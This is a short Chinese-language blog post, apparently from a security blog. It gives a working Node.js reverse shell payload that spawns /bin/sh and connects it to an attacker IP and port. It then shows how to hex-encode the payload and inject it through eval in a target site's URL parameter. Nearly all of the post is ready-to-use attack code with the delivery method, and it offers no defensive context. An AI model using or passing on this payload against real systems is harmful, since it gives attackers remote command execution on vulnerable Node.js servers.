如下的Javascript就是一个Node.js的反向连接shell
这个payload将会生成一个/bin/sh的shell,创建一个TCP连接到攻击者的服务器,并且在通信数据流中绑定shell命令。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
为了优雅的执行payload,我们还需要一些小技巧,我们将反向连接shell的payload用16进制进行编码,然后再用Node.js的Buffer对象来对其进行解码操作。
http://target.tld/?name=["./;eval(new Buffer('PAYLOAD', 'hex').toString());//*"]
声明:本文为原创文章,版权归lsh4ck's Blog所有,欢迎分享本文,转载请保留出处!